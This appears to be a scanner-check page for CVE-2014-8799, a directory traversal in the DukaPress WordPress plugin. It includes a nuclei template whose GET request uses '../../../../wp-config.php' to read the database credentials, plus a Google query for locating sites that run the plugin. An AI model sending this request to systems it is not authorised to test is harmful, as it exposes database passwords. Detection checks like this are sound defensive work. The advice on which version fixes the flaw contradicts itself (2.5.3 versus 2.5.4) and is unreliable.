WordPress Plugin DukaPress 2.5.2 - Directory Traversal

mediumseverity

5CVSS score

67.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the dp_img_resize function in php/dp-functions.php in the DukaPress plugin before 2.5.4 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the src parameter to lib/dp_image.php.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive files, potentially leading to further compromise of the server.

Fix

Update to the latest version of DukaPress plugin (2.5.3 or higher) which contains a fix for this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php
Positive when: contains "DB_NAME" and "DB_PASSWORD" and "DB_USER" and "DB_HOST" AND status 200

Run it with nuclei: nuclei -id CVE-2014-8799 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-8799

info:
  name: WordPress Plugin DukaPress 2.5.2 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the dp_img_resize function in php/dp-functions.php in the DukaPress plugin before 2.5.4 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the src parameter to lib/dp_image.php.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive files, potentially leading to further compromise of the server.
  remediation: |
    Update to the latest version of DukaPress plugin (2.5.3 or higher) which contains a fix for this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-8799
    - https://www.exploit-db.com/exploits/35346
    - https://wordpress.org/plugins/dukapress/changelog/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/98943
    - https://plugins.trac.wordpress.org/changeset/1024640/dukapress
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-8799
    cwe-id: CWE-22
    epss-score: 0.677
    epss-percentile: 0.99323
    cpe: cpe:2.3:a:dukapress:dukapress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: dukapress
    product: dukapress
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/dukapress"
  tags: cve2014,cve,wordpress,wp-plugin,lfi,edb,dukapress,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
          - "DB_USER"
          - "DB_HOST"
        condition: and

      - type: status
        status:
          - 200

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